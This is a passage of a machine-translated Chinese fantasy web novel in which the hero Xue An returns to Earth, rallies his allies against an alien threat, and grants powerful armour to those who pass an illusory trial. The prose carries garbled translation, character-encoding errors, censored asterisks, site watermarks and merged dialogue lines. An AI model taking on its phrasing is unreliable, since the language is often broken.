    He slowly stood up and bent over at Xue An.


    "grown ups!"


    Xue An nodded, "Go!"


    "Yes!"


    Then Lu Yang turned and left the abyss.


    Qiao Le looked at his back in an unbelievable way, and couldn''t help asking: "Second brother, what have you done to him, why did he become so obedient?"


    "It''s nothing, just cut off the fear and greed in his soul!" Xue An said lightly.


    Qiao Le felt cold all over when he heard this, and then he dared not speak.


    If by any chance he makes the second brother unhappy, he cuts off some parts of his soul, wouldn''t he be finished?


    Xue An seemed to see his thoughts, but did not explain, just smiled slightly, and then raised his head to look at the void in front of him.


    "Second brother, what to do with this rift? Just let it stay like this?" Zhao Xuehui said with some worry.


    "Naturally not!"


    He said, but seeing Xue An''s hand pinching the sword tactics, his face suddenly became solemn, then he raised his hand and pointed forward and shouted in a deep voice.


    "Hey!"


    With an order, the darkness surged like a tide.


    Immediately afterwards, this fissure also began to peristalize and gradually healed.


    And as this rift healed, a faint roar of unwillingness could be heard from the void.


    at last.


    After a full quarter of an hour, the void in front of him was calm as before, and the previous rift was no longer seen.


    Zhao Xuehui and others let out a sigh of relief.


    "Fortunately, it was discovered in time, and this gap was blocked!"


    But Xue An''s complexion didn''t feel any relief, and he said with a serious face.


    "This is just a stopgap measure. Since the other party has found this place, he will definitely not give up. It will be a few years later, or about half a year. Such a rift will definitely appear again, and the coming may be more ferocious than this time! "


    "What should I do?" Zhao Xuehui and the three were shocked.


    Xue An turned his head and glanced at the three of them, and said quietly: "Why? Afraid?"


    "Of course not!" Qiao Le said immediately.


    "No matter what kind of **** the other party is, as long as you dare to hit the earth, my old Joe will never agree!"


    "Yes, me too!" Yang Bin agreed.


    Although Zhao Xuehui didn''t speak, the expression on his face already showed his attitude!


    "Very good!" Xue An nodded in satisfaction.


    "After the smell of copper is gone, it is the good buddy I know!"


    Hearing Xue An''s words, the hearts of the three warmed, and the estrangement in their hearts caused by Xue An''s identity instantly disappeared.


    You must know that when they were in college, the four of them fought side by side no matter what happened.


    Even facing opponents several times their own, the four of them have never been afraid.


    "Hey, second brother, if you don��t tell me, I almost forgot. How fierce we were back then. Once we had a fight with a gangster outside of school. The boss pulled a dumbbell from the sports equipment room and rushed into the battle group. He called his mother to help the kid cry! That''s majestic." Qiao Le said with a smile.


    Zhao Xuehui blushed, and then said embarrassedly: "That''s all the things that happened back then, what are you doing! Hey, by the way, why didn''t you see your younger siblings and two nieces this time?


    Xue An also laughed.


    With a smile, he also didn''t have the aura of detachment from the past, but changed from a half-step immortal emperor''s strong back to that ordinary boy.


    "Yan''er was left by me in the Pure Land Buddhist Kingdom to manage the power there."


    With that said, Xue An recounted what happened.


    The three of them sounded trembling, and their hair was horrified.


    It wasn''t until Xue An finished speaking that Zhao Xuehui said solemnly: "Second brother, please tell me now, what do we need to do?"


    "Yeah! Order now, our brothers will never say anything!" Qiao Le and Yang Binyi also clamored Don''t worry, since I am coming back this time, naturally I have my plan, but only You are far from enough. What is needed this time is the joint efforts of the entire China and even the entire planet! "


    After all, Xue An stepped down, and the void beneath his feet instantly rippled, and then the brilliance flashed in Xue An''s eyes, and the majestic spirit spread along the ripples of the void like flowing water, spreading to the entire abyss.


    At this moment, in one place, Tang Xuan''er and Xue Lan were fighting side by side.


    After several years of experience, Tang Xuan''er''s cultivation has made great progress, and even her aura has become capable.


    And Xue Lan, as Xue An''s cousin, is naturally good.


    Soon, the two of them eliminated the small group of abyss demons opposite, and many shining stones fell on the ground.


    This is the spar that the abyss demon transforms after his death.


    Xue Lan was very excited, "Sister Xuan''er, this time we have gained so much!"


    Tang Xuan''er swept the temples scattered around her ears and smiled softly, "Well, it''s a lot!"


    But at this moment, the ripples rushed to the front.


    Tang Xuan''er and Xue Lan shook together, then looked at each other and said in unison.


    "Xue An?"


    "brother?"


    Immediately after that, the two of them didn''t care about picking up the spar on the ground, and immediately got up and flew in the direction where Xue An was.


    It''s not just them.


    In the other corner of the abyss, an enthusiastic Fire Phoenix team also shook together.


    Then the captain Cheng Hao immediately woke up and shouted in a deep voice: "Everyone listens to the order, immediately stop all tasks at hand, and follow me!"


    After all, he took the lead to fly, and the rest of the team immediately dropped their handy prey and followed.

 Chapter 2022： Gather everyone!

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    In front of them was a group of silly monsters, just like sheep''s head monsters.


    Xie Jingjing walked past these monsters, wherever he passed, the extremely cold yin air directly froze all the monsters around him.


    But the vitality of this monster is extremely tenacious, even if it was frozen, it still did not die.


    But at this moment, Lao Xie, who was following Xie Jingjing, waved the chopper in his hand, one by one, and directly solved all these monsters.


    quickly.


    This group of monsters were harvested by their father and daughter.


    Then Lao Xie squatted down with a look of excitement, and began to skin and bone these monsters.


    His tactics are very quick, and he obviously does this kind of thing often.


    Xie Jingjing also lay hands on the side. When Lao Xie finished dividing the body of a monster, she would use the pure Yin Qi of her own practice to freeze it and keep it fresh for the first time.


    The father and daughter had a clear division of labor, and soon the monster corpses on the floor were stripped and dry cleaned, and the treatment was completed.


    After all this was done, Lao Xie stood up and clapped his hands with satisfaction, "The quality of this batch of lamb is really good today, and the dishes will definitely taste good!"


    That''s right!


    Their father and daughter harvest the corpses of these monsters for cooking.


    All this had to be due to an accidental discovery made by Lao Xie before.


    Because Xue An opened the abyss and connected it to the earth, Lao Xie, who had already recovered from his soul, also joined in the fun and entered the abyss several times to try his luck.


    As a result, by a very fortuitous opportunity, Lao Xie Heran discovered that the meat of this goat''s head monster was actually very fresh and tender, and the taste of the dishes was extremely delicious. It almost killed all the pigs, sheep and beef.


    After discovering this situation, Lao Xie was overjoyed and immediately began to develop new dishes with this sheep''s head meat. As a result, it became very popular once it was launched, and even reached the point where the supply exceeded demand.


    No, the batch of meat just obtained two days ago has been used up, and Lao Xie simply took his daughter to search in the abyss.


    To put it bluntly, their father and daughter came to buy goods in the abyss.


    At this time Xie Jingjing asked, "Dad, is this enough?"


    "Enough is enough, these are enough for a month!" Old Xie said very satisfied.


    Xie Jingjing was also very happy.


    Because of the pain of losing her father, Xie Jingjing now cherishes her time with Lao Xie very much.


    Just as the two of them were chatting, the ripples from the void also passed over.


    Lao Xie and his daughter almost felt it at the same time, and couldn''t help looking at each other.


    "It''s Xiao Ange!" Xie Jingjing took the lead and blurted out.


    Old Xie was even more inexplicably shocked, "How could Xiaoan come back suddenly?"


    But at this moment, they couldn''t care much. They didn''t even care about the processed meat on the ground, and immediately got up and rushed in the direction of the ripples.


    And Xiaorui is even faster than them.


    At the moment when he sensed the news, Xiao Rui didn''t hesitate at all, and immediately turned and flew away.


    Zou Sui and others followed, and while flying, Zou Sui shouted, "Xiao Rui, don''t be so anxious, the instructor can''t run away!"


    But his shouting didn''t help at all, and Xiao Rui''s speed didn''t slow down at all.


    Seeing this, Zou Sui couldn''t help but smile, and then tried his best to catch up.


    Not just them!


    At the same time, in every corner of the abyss, all the people who were frantically hunting monsters all received the message from Xue An.


    Suddenly, countless people were shaken by it, and they grew up and rushed towards Xue An.


    Xue An stood in the darkness, closed his eyes and said nothing, waiting quietly.


    He did not speak, and Zhao Xuehui and Qiao Le did not dare to speak.


    Suddenly, Xue An opened his eyes, smiled and said: "Come!"


    As soon as the voice fell, a little brilliance appeared in the distant void.


    Immediately afterwards, I saw two streamers rushing to the front at an extremely fast speed.


    After the establishment, Tang Xuan''er was the leader, and Xue Lan followed.


    "Brother!" When it was determined that it was Xue An, Xue Lan couldn''t help shouting in surprise, and then rushed over.


    Xue An smiled slightly, "Lan''er!"


    "Brother, why did you come back suddenly? My sister-in-law and miss you?"


    Xue Lan''s eyes kept flicking behind Xue An, trying to find the two little girls.


    "They have something, they didn''t come back this time!"


    "Ah!" Xue Lan was a little lost.


    As an aunt who missed, Xue Lan couldn''t help but love these two little girls, so after hearing that the two of them had not come back, she couldn''t help being disappointed.


    "But don''t worry, you will be able to see them soon!" Xue An said with a smile, and then raised his head to look at Tang Xuan''er, who was standing not far from Qiao Shengsheng.


    After feeling the aura on Tang Xuan''er, Xue An couldn''t help showing a look of surprise in her eyes.


    Because at this time Tang Xuan''er was already a great Luo powerhouse.


    And because of the real volume of Yuqing Zizheng she had cultivated, her whole person became as pure and flawless as colored glaze from inside to outside ~ www.novelhall.com~ even with the breath of the whole person became holy.


    This feeling, combined with Tang Xuan''er''s unparalleled appearance, formed a beautiful picture that even Xue An was amazed by.


    At this moment, after feeling Xue An''s gaze, Tang Xuan''er''s face turned red, then turned her head and said softly: "Xue An, what are you planning to do with such a big fanfare?"


    This question not only changed the subject cleverly, but also avoided Xue An''s embarrassment.


    Sure enough, it was Tang Xuan''er''s consistent working style.


    Xue An was slightly startled when he heard the words, and even coughed slightly embarrassedly.


    "Ahem, this time I came back because of a very important thing."


    "Oh? A very important thing?" Tang Xuan''er couldn''t help becoming solemn after hearing this.


    Because Xue An can be treated so seriously, one can imagine how serious the matter is.


    At this moment, only two strands of brilliance were rushing here from two directions.


    After getting closer, these two brilliances could not stop, and it was Xiao Rui, Xie Jingjing and others.


    "Brother Xiaoang!" Xie Jingjing shouted.


    Xue An nodded, and then smiled at the old Xie behind Xie Jingjing: "Uncle Xie!"


    Old Xie smiled and scratched the back of his head, and said proudly: "Yeah! Xiao An is back!"


    What he usually likes most is to brag to others that even Xue Shenzun has to call himself uncle!


    Xiao Rui didn''t say a word, just like a kitten, silently walked to Xue An''s side.


    Xue An raised his hand and gently stroked her head, then smiled and said: "Rui Er has grown up again!"


    Xiao Rui trembled all over, then lowered her head, and finally a touch of joy appeared in her eyes that had been calm as water.

 Chapter 2023： Global preparation

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    "Instructor!" At this time, Zou Sui and others also arrived out of breath.


    Not only him, but Cheng Hao and the others who led the Fire Phoenix Special Forces arrived at the same time.


    "I have seen the instructor!"


    The people of the Fire Phoenix lined up in an instant, straightened their chests and shouted with pride.


    Xue An''s eyes swept across the excited faces, and finally smiled and nodded.


    "Very good! During the time I left, you have improved again, I am very pleased!"


    "Thank you instructor!" Cheng Hao and others shouted in unison.


    This voice and momentum also shocked everyone who came afterwards.


    However, in the blink of an eye, the void in front of Xue An was already crowded with people.


    Among them are many familiar faces, such as Song Yi, who guards the Xiangjiang River and has been revered as the number one person in Feng Shui through the ages.


    For example, the brothers and sisters of Yu Ming and Yu Ran from the Yu Family in Lingnan.


    For example, Qin Yu from the Qin family in Beijiang and the security manager Black King.


    There are also people such as Hua Xingyu, Hua Tingting, grandfather and grandson, Tan Xiaoyu, Shi Xueqing and so on.


    Even Beijiang''s underground leader Du Fan was among them.


    Of course there are many new people Xue An doesn''t know, but whoever they are, they all look at Xue An with almost worshipful eyes.


    Because in the minds of many people, this man Xue Shenzun, who single-handedly opened the earth''s cultivation and prosperity, is like a creator.


    Xue An looked at the dense crowds and smiled slightly. Although he hadn''t spoken yet, the audience was instantly quiet.


    "I know you are all wondering why I came back suddenly, and why I summoned you to come, it''s very simple, because the test of the earth... and the time to test you has come!"


    As soon as this remark came out, the audience shook.


    Everyone was shocked, and then looked at each other, not understanding what Xue An said.


    "Next, the pictures you will see may subvert your inherent cognition, but everything is real!"


    After all, Xue An waved his hand, and Dao Dao Guanghua flew directly into the eyebrows of everyone present.


    Everyone shook together, and immediately all fell into contemplation.


    Xue An was not in a hurry, but stood still and waited quietly.


    at last.


    After a full quarter of an hour, everyone present gradually woke up, and then all their faces became extremely solemn.


    Because they saw a lot of incredible pictures from the divine mind just now.


    Among them are the scenes of Hydra and Triangular Heads that Xue An encountered in Qingqiu Fox Country and Pure Land Buddha Country.


    The strange and unpredictable means of combat and the incomprehensibility beyond understanding are shocking.


    "Have you seen it? How do you feel now?" Xue An said lightly.


    Everyone looked at each other, and it was not until a moment later that Song Yi stepped forward and swept towards Xue An.


    "Mr. Xue, if you follow what you said, will there be many such monsters invading the heavens in ten years?"


    Xue An shook his head, and then slowly said: "Not ten years, but only eight years!"


    This sentence made the audience even more commotion.


    But soon, everyone at the scene silently fell silent.


    Immediately afterwards, I saw that everyone''s eyes began to become determined.


    Song Yi smiled even more, "It turns out that this is the case. In that case, we still have eight years to prepare, that''s enough!"


    "That''s right! I, all members of the Fire Phoenix, swear to the death!" Cheng Hao said in a deep voice.


    "Vow to fight!" The rest of the fire phoenix shouted in unison.


    Immediately afterwards, everyone present bowed, "I wait, I will fight to the death!"


    The sound shook everywhere, which was moving.


    Zhao Xuehui, Qiao Le, and Yang Bin also burst into tears with excitement.


    "Damn, I finally understand how stupid I was before, and I was obsessed with making money!" Qiao Le whispered to himself.


    at the same time.


    But seeing Xue An standing up, he laughed and said: "Okay! I really deserve to be a member of the Chinese nationality. If that''s the case, then I will go out of this abyss now, and then... prepare for the world!"


    Zhongdu!


    "Today is another ordinary day!"


    An Ying sighed softly, then looked bored at the large French window in the office.


    Outside the window is a hundred meters high in the sky, but it is very lively. Individual aircraft are shuttled back and forth, making the sky above Zhongdu extremely prosperous.


    "I don''t know what''s going on with Sister Qing now! Alas, it makes me work in the company all day long, and I really want to go to the abyss to clean up monsters!" An Ying said with a sad face.


    As one of the few males left in Anjia, An Ying has long been the hottest presence in the whole China.


    After all, who didn''t know that Xue Shenzun''s wife was his sister!


    With this relationship, who would dare not give him face.


    But An Ying is well versed in the way of life, knowing that she can survive because of the light that she was kind to others and caring for her ordinary brother-in-law at that time.


    But this does not mean that I can wave as I please!


    Because An Ying knows very well that, except for An Yan and An Qing, Xue An has never had a good impression of the other people in An''s family.


    So he didn''t dare to test Xue An''s bottom line, and he had been an honest man all these years, and he didn''t dare to be arrogant at all.


    Such a move actually won him a good popularity and reputation.


    But now An Ying is boring.


    Because An Qing went to the abyss to spawn monsters some time ago due to being too big , which caused some accidents, and the consciousness was shaken a little, so she has been recovering at home.


    So Anjia''s property must be taken care of by him.


    But An Ying showed no interest in this so-called industry.


    Nowadays, all the rich children who are a little bit after, don''t expect to make progress in practice, because only that is the real dragon and phoenix among people.


    As for the step-by-step takeover business...that is what the most unpromising dude would do.


    At this moment, the office door was gently pushed open.


    Then a lovely female secretary came in with a cup of hot tea.


    "Sao An, have a cup of tea!"


    "Well, put it on the table!" An Ying said without lifting her head.


    The female secretary put the tea cup down in disappointment, feeling a little disappointed.


    It seems that my well-dressed makeup is wasted again.


    Then he turned and left.


    At this moment, An Ying suddenly said, "Wait a minute!"


    The female secretary stopped immediately, then turned around with a surprised look.


    "Sao An has any more instructions."


    "Oh, it''s okay. Later, you will go upstairs for me and ask how Sister Qing''s injury is. Is it better? It''s not convenient for me to go!


    "Oh!" The female secretary nodded with a look of disappointment, "Then I will go now!"


    Saying to take a step will leave.


    At this moment, I saw that the sky outside the French windows suddenly darkened, and then I saw a black crowd appeared in the distant sky.


    An Ying was shocked, and then his face showed infinite horror.


    "How is this going?"


    As soon as the voice fell, I saw the black cloud-like crowd rushing here quickly, and in the blink of an eye they came to the top of Zhongdu.

 Chapter 2024： I have countless armors!

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    An Ying stared blankly.


    It wasn''t until then that he could see that this crowd was all powerful people from all over China.


    It''s just that these people should not spawn monsters in the abyss at this moment?


    Why does it suddenly appear here?


    Not only him, at the same moment, the whole China and even the whole China were shaken.


    Such a question has emerged in the hearts of countless people.


    These people suddenly came out of the abyss, what are they doing together?


    At this moment, on the floor where An Ying was located, An Qing, who had fallen into a dormant state because of her heart shock, suddenly opened her eyes.


    Then she looked out the window and whispered: "Brother-in-law?"


    The voice just fell.


    But seeing the front of the crowd above the sky, Xue An''s figure began to gradually emerge.


    The moment he appeared in front of everyone, the whole world was boiling over.


    "My God, it''s God Xue!"


    "Xue Shenzun is back!"


    Countless people exclaimed, and some even knelt directly on the ground and bowed to Xue An.


    Xue An''s clothes floated like flying, looked down the world indifferently, and then smiled slightly.


    "I am back!"


    A word made the whole world quiet instantly.


    Then Xue An said calmly: "I came back this time to prepare for the war. As for the reason..."


    Xue An''s spiritual thoughts spread across the entire earth like water, directly instilling the ins and outs of the whole thing into everyone''s sea of ??knowledge.


    Of course, this is Xue An, and no one dared to do that.


    After all, this is to communicate with billions of people at the same time, and a little carelessness may cause countless people to lose their souls.


    But Xue An did it lightly and completed it.


    After a while, when people gradually awakened, the whole world was shaken by it.


    "Oh my God, it turns out that my Chinese people actually have such a **** hatred. It''s really unforgivable!" Someone gritted their teeth.


    "The monsters outside the heavens actually want to get involved in the world, have you ever asked me the Dragon Tiger Mountain Heavenly Master Mansion?"


    "Although our Fire Kirin Special Forces cannot compare to the Fire Phoenix, I am willing to fight to the death!"


    "Yes, count me!"


    For a time, the group sentiment surged.


    And An Qing who was in the Anjia headquarters also recovered at this time, and then she gave a very surprised surprise.


    Because she suddenly discovered that her wounds caused by the shock of her spirits had actually healed.


    But then she understood, she couldn''t help but smile, and suddenly broke the window of the room and flew into the sky.


    She did not speak, but flew straight behind Xue An, and silently expressed her attitude with her actions.


    "Very good!" Xue An nodded, "If this is the case, then I will announce that from now on, global preparations!"


    "Everything listens to my orders, if there is a violator, kill!"


    The last word trembles the whole earth.


    "Here!" All the strong people all bowed in response.


    But this was only the beginning. Xue An took a step forward suddenly and then waved.


    boom!


    A magnificent building appeared in the sky, and the mighty power contained in it was even more shocking.


    It was the arsenal that Xue An had collected from the blue superstar before.


    And a large part of the reason why Xue An returned to Earth was because of this arsenal.


    He knew very well that even though the earth''s current strength was far superior to the past, it was still far behind the outer monster that day.


    But the appearance of this arsenal has greatly bridged the gap in strength.


    So Xue An decided to first arm the earth with the armor in the arsenal.


    at the same time.


    After seeing this arsenal, there was a commotion in the audience.


    People don''t understand what this is, but they dare not ask, so they can only look at Xue An quietly.


    At this time, Xue An slowly said: "This is the arsenal I got somewhere, and it contains countless powerful armors."


    He said, but seeing Wu Ku Guanghua flashed, dozens of streamers flew out of it and stopped in front of Xue An.


    It is a armor with exquisite shape and powerful power.


    Xue An picked up one casually and said lightly: "Cheng Hao!"


    "in!"


    Cheng Hao stepped forward immediately.


    "Put it on!" Xue An threw it over.


    Before Cheng Hao had time to react, the armor suddenly disintegrated and deformed, and then it wrapped Cheng Hao strictly.


    In an instant, a soldier in fire-red armor appeared in the sky.


    Cheng Hao looked down at his palm in disbelief, then shook his hand, feeling the surging power in it.


    "How do you feel?" Xue An said lightly.


    "This power... is so powerful, I even feel that I can blast a mountain with one punch!" Cheng Hao said in surprise.


    But as soon as he finished speaking, Xue An suddenly clenched his palms into a fist, then took a step forward and hit Cheng Hao''s chest.


    Although only using a strength of less than one thousand, Xue An''s punch still caused a gust of wind to blow across the sky.


    Unexpectedly, Cheng Hao was directly blown out.


    The crowd exclaimed.


    Because no one thought that Xue An would make a sudden move But at this moment, Cheng Hao, who was in a downward trend, suddenly turned over, and then stood still in the air.


    At this time, not only was everyone stupid, but even Cheng Hao was also dumbfounded.


    Because he never expected that the armor on his body had such a perverted defensive ability, it could actually withstand Xue An''s punch.


    Although it was just a punch that Xue An tried to control, it was enough.


    Immediately afterwards, Cheng Hao''s face showed ecstasy.


    Because he knew exactly what this armor meant.


    Not only him, but everyone who saw this scene became eager.


    At the same time, Xue An said calmly: "How do you feel?"


    "It feels okay, this armor is simply amazing!" Cheng Hao said with infinite joy.


    Xue An smiled, "Well, then this armor will be given to you!"


    "Thank you instructor!" Cheng Hao shuddered and immediately stood up straight, shouting very solemnly.


    Then Xue An looked at the rest of the Phoenix players.


    At this time, these people''s faces were full of envy, but they didn''t dare to say anything, they just looked at Xue An with earnest eyes.


    Xue An smiled slightly, "Where is the Fire Phoenix!"


    "in!"


    The Fire Phoenix everyone shook together, and then shouted vigorously.


    "Receive the armor!"


    The words fell, but they saw a stream of light flying directly above the heads of the Fire Phoenix people, and then rushed down, completely covering them.


    In the blink of an eye, everyone in the Fire Phoenix had already put on the armor, and the momentum instantly increased more than doubled.


    This made the envious saliva of many people almost flow out, all of them looked at Xue An.


    Xue An said lightly: "I have countless armors, but I don''t know if you are qualified to wear them!"

 Chapter 2025： Congratulations, passed the trial

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    This is a vast expanse of desert.


    The huge sun hangs above the head, scorching everything with almost crazy enthusiasm.


    An Ying can''t remember when she last drank water. The feeling of extreme thirst before was gradually dissipating, and her lips became moist.


    But An Ying knew that it was an illusion that caused blood to burst out because the lips had been chapped to a certain extent.


    And it won��t be long before this moist feeling will cease to exist.


    Because at that time, the blood on his body may not flow anymore.


    An Ying didn''t know how long she had been walking, she only felt that hallucinations began to appear in front of her eyes, and the soft and hot sand under her feet began to become sticky. Every step he took, he needed all the strength of his whole body.


    at last.


    After a staggering, An Ying only felt that her eyes were dark, and then she threw herself to the ground.


    The hot sand instantly covered his cheeks, and the hot air poured into his lungs with his rapid breathing, scorching everything along the way.


    But he can no longer feel the pain, he just wants to lie down so quietly now, and then wait for the darkness to come.


    Did it fail again! An Ying thought of self-deprecating in her heart.


    But at this moment, An Ying suddenly felt the sand below her body was shaking slightly.


    This feeling is very slight, but An Ying is refreshed.


    Because this vibration is very rhythmic, obviously something is approaching quietly.


    An Ying was still lying on the ground, but her hands under her body had quietly clenched her fists, silently waiting for the time to come.


    The shock is getting closer....


    Suddenly!


    The vibration stopped, apparently the thing near An Ying stopped.


    It''s now! This thought emerged in An Ying''s heart, and then the whole person raised his last strength and jumped up from the ground like a spring, bringing up a piece of dust to block the line of sight, and then went straight to the thing close to him with both fists.


    Boom!


    After a muffled sound like a leather blow, An Ying felt that her fists were almost shattered.


    The whole person was shaken back more than a dozen steps, and he could not see until he stood firm.


    Close to him turned out to be a huge lizard.


    This lizard is seven or eight meters long and is as tall as a person. It utters a sharp letter, which makes people shudder.


    But the matter has come to this, An Ying has already thrown himself out, and roared: "The evil animal suffers death!"


    With that, he rushed up again desperately.


    Although the cultivation base was greatly restricted in this desert, at this moment, An Ying''s eyes still had a faint brilliance.


    As far as the momentum is concerned, this lizard can''t help but retreat slightly.


    But An Ying just rushed to the front when she saw the lizard''s tail flicked viciously.


    The speed was so fast that it even caused a sharp wind.


    An Ying''s eyes were already red, and she didn''t care about the tail drawn from her waist at all, but continued to rush forward.


    Bang!


    An Ying smashed into the lizard''s forelegs, and blasted her fists into the sky, just hitting the soft white abdomen of the lizard.


    hiss!


    The lizard uttered a painful roar, and then stomped frantically, trying to trample An Ying to death.


    An Ying dodged from left to right, then looked at the opportunity, and slammed a fist against the lizard''s throat.


    The lizard screamed, and then waved its tail angrily, and drew towards An Ying.


    An Ying did not dodge, in fact, he has no strength to dodge.


    The few movements just now have exhausted all his stamina. At this moment, An Ying''s eyes turned black and might fall down at any time.


    But at this time, An Ying was actually aroused the fierceness in her bones.


    "Beast, it''s not so easy to kill Grandpa!"


    As he said, An Ying didn''t hide but rushed forward, and then bit on the lizard''s throat viciously.


    Snapped!


    The tail slammed on An Ying''s back, the clothes and skin were instantly torn, and a deep chasm was dragged out, and Bai Sensen''s spine could even be seen faintly.


    An Ying trembled in pain, but did not relax in the slightest under her mouth. Instead, she exhausted her strength and bit down fiercely.


    The teeth finally penetrated the skin of the lizard''s throat and directly bit off the lizard''s throat.


    The lizard struggled with extreme pain, trying to get rid of An Ying.


    But at this time, although An Ying''s lower limbs were already paralyzed, her hands clung to the lizard''s neck like steel claws, and she refused to let go.


    Not only that, at the moment when she bit the lizard''s throat, An Ying felt a fishy liquid pouring into her mouth and flowing down her throat into her stomach.


    It''s the blood of a lizard!


    An Ying shook her whole body, feeling that her already exhausted body cheered because of the influx of the lizard''s blood.


    An Ying began to **** the blood of the lizard.


    Finally, after a full quarter of an hour, the lizard fell to the ground and became a dead body.


    Looking at its throat again, it was completely bitten by An Ying.


    But at this time, An Ying was in very bad condition.


    Although it was supplemented with energy, the tail of the lizard was not a joke.


    Now An Ying felt that her entire lower body had lost consciousness, and she could not continue to survive in the desert like this.


    Just as An Ying was about to give up , she suddenly felt a shock all over, and then the surrounding environment began to change rapidly.


    The desert faded like flowing water, replaced by the familiar scene of the earth.


    At the same time, An Ying felt that all her injuries had disappeared, and all her cultivation base had returned.


    He jumped up from the ground and looked around with some doubts.


    Obviously he has not withdrawn yet, why did he suddenly return to Earth?


    At this moment, only a faint voice came from behind him.


    "To be honest, I am surprised!"


    Hearing this voice, An Ying suddenly looked back, but saw Xue Anzheng standing not far away, looking at herself with a smile.


    An Ying was shocked and hurriedly bowed her head and said, "Sister...Mr. Xue!"


    He originally wanted to call his brother-in-law, but when the words came to his lips, he finally changed to Mr. Xue.


    Xue An ignored his salute, but said indifferently: "Do you know what I am surprised?"


    An Ying shook her head.


    "I thought you were spoiled since childhood, but you are a pleasure-loving dude. Even if you participate in the arsenal trial, you will quickly give up because you can''t bear the pain, but I didn''t expect you to give me a big surprise!"


    Speaking of this, a faint smile appeared on Xue An''s face, and then with a wave of his hand, a soldier talisman flew above An Ying''s head.


    Hearing a creaking sound, an exquisitely shaped and imposing armor was worn on An Ying''s body.


    An Ying looked down with a dazed look, but still did not react from the shock.


    "Congratulations, the trial passed!"


    With that, Xue An turned around and wanted to leave, but after walking a few steps, he suddenly stopped, and then said without looking back.


    "I''ll call my brother-in-law in the future, after all... Yan''er now has only you as a brother!"

 Chapter 2026： Gongfa, peaceful the world!

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    An Ying finally understood, and immediately bowed her head deeply, "It''s... brother-in-law!"


    Xue An smiled and strode away.


    It wasn''t until Xue An''s figure completely disappeared that An Ying lowered her head and stroked the soldier''s armor on her body with infinite love.


    Then his face gradually burst into a smile, and finally he laughed.


    Amidst the laughter, he finally proved his high spirits.


    And not only him, the powerhouses of the entire earth are already crazy.


    After Xue An released the arsenal and opened the trial illusion of the arsenal, the powerhouses of the whole world rushed into it, in order to pass the trial as soon as possible, and then obtain the qualification to have a talisman armor.


    That''s right!


    Xue An binds the qualifications of the Talisman Armor with the Trial of the Arsenal. Only by passing the Trial Fantasy Realm of the Arsenal can you prove that your strength and mood are sufficient to control the Talisman Armor.


    Otherwise, no matter how famous you are, no matter how high your status is, you will never talk about it.


    And after witnessing the strength of the Talisman Armor with your own eyes, who can not be tempted by this powerful armor?


    Especially young people like An Ying and the others are salivating for this strong and powerful armor.


    So soon some people began to make crooked ideas, trying to use money to buy the strong who had obtained the armor of the soldiers.


    But without exception, they all failed.


    Not to mention that no one will sell this kind of treasure, even if there is, it is impossible to do it.


    Because once this talisman battle armor is bound, it is impossible to bind with the second person unless the battle is killed.


    This put an end to all crooked ways.


    If you want to get the battle armor, you can only pass the trial.


    But this trial is so simple that it can be passed. Many dudes signed up once, and then they all cried and quit.


    Because in that arsenal''s trial illusion, everything is so real, and all the pain is no different from the real world.


    In this case, many people simply quit before the end.


    As a result, An Ying has become the envy of his friends.


    Because in the eyes of these people, as Xue An''s brother-in-law, An Ying would definitely be able to get some care.


    Maybe when my brother-in-law calls out, An Ying can get a soldier armor without participating in the trial!


    Unexpectedly, An Ying never looked for Xue An at all, and entered the trial directly.


    Xue An was also slightly surprised when he first got the news.


    But immediately he thought that An Ying would definitely not be able to persist until the end.


    But the fact is that An Ying couldn''t hold on to the end, and he succeeded in fighting back and successfully passed the trial.


    This is why Xue An is surprised.


    After personally sending out the Talisman Armor, Xue Anxin walked to the command room of the Tianyuan Building, the highest building in Zhongdu.


    This is where the newly established Global War Preparation Command is located.


    "Mr. Xue!"


    "I have seen Mr. Xue!"


    Everyone nodded as they passed.


    Xue An smiled and nodded, and then left straight away.


    When he left, many female staff members got together with blushing faces.


    "Wow, Mr. Xue just smiled at me!"


    "Bah, shameless, is that a smile at you? Mr. Xue''s just a polite response!"


    "Oh, I know, but can''t you let me dream about it!"


    "You little hooves, even imagine it, absolutely not! Because Mr. Xue belongs to everyone!"


    As they said, these women laughed together.


    And these women''s conversations also passed into Xue An''s ears.


    Xue An was quite embarrassed to block it, thinking to himself that sometimes too good hearing might not be a good thing!


    And just as Xue An walked into the global preparatory headquarters.


    In that command room, Ouyang Xiaoman of Haoran Academy looked up at the grid of pictures on the monitor, and couldn''t help falling into contemplation.


    After a long time, she couldn''t help but sigh softly: "Are these guys... all crazy? Wouldn''t they be tired or hurt by participating in the trial so enthusiastically?"


    The head of the mountain, Shu Wenbin, of Haoran Academy, drew his beard and remained silent. It was not until a moment later that he turned his head and looked at the Qingyang Guanzhugongliang star standing aside.


    "What do you think about being fair and honest?"


    "Sigh!" Gong Liangxing said with a wry smile.


    "Yes!" Shu Wenbin couldn''t help sighing, "Compared with the vigorous fighting spirit of these people, I''m really far behind!"


    "If we can have this fighting spirit, why would Qingyang Guan be bullied by Huntianzhai in the past? We are too greedy for stability, but we have lost our spirit!" Gong Liangxing couldn''t help but echoed.


    "Now that I know, there is still time to change!" Xue An''s voice came over, and then stepped into the command room.


    "teacher!"


    "Mr. Xue!"


    Shu Wenbin and Gong Liangxing hurriedly gave salutes.


    Ouyang Xiaoman rushed to the front with a smile, "Master, you are finally here, and I want to participate in the trial too!"


    "You?" Xue An glanced at his female disciple, then said helplessly: "Can you do it?"


    "Of course it can be done, and what other people can do, I can do it naturally!" Ouyang Xiaoman said unconvincedly.


    A few days ago, Xue An released all the people from Haoran Academy and Qingyang Temple from the Buddha Kingdom in his palm because compared to letting them go to the Pure Land Buddha Kingdom, it is better to leave them on earth Above.


    After all, the Pure Land Buddha Kingdom is the main battlefield this time.


    "Don''t worry, you naturally want to enter the arsenal trial, and because of your temperament, this trial is longer than others! But before the trial, I need to teach you something!"


    Speaking of this, Xue An''s expression abruptly, and then said: "Back then, I founded Haoran Academy with Chinese Confucian classics, but because of lack of experience, you have a very high realm, but you have no means to rival! "


    "In the past few days, after careful consideration, I have specially tailored a set of exercises for you to help you grow, so that you can have better self-protection ability in the future catastrophe!"


    With that, Xue An''s eyes flashed with brilliance, and dozens of divine thoughts flew into the eyebrows of everyone in Haoran Academy.


    Shu Wenbin, Ouyang Xiaoman and others were shocked.


    "This technique..." Shu Wenbin said with a shocked face.


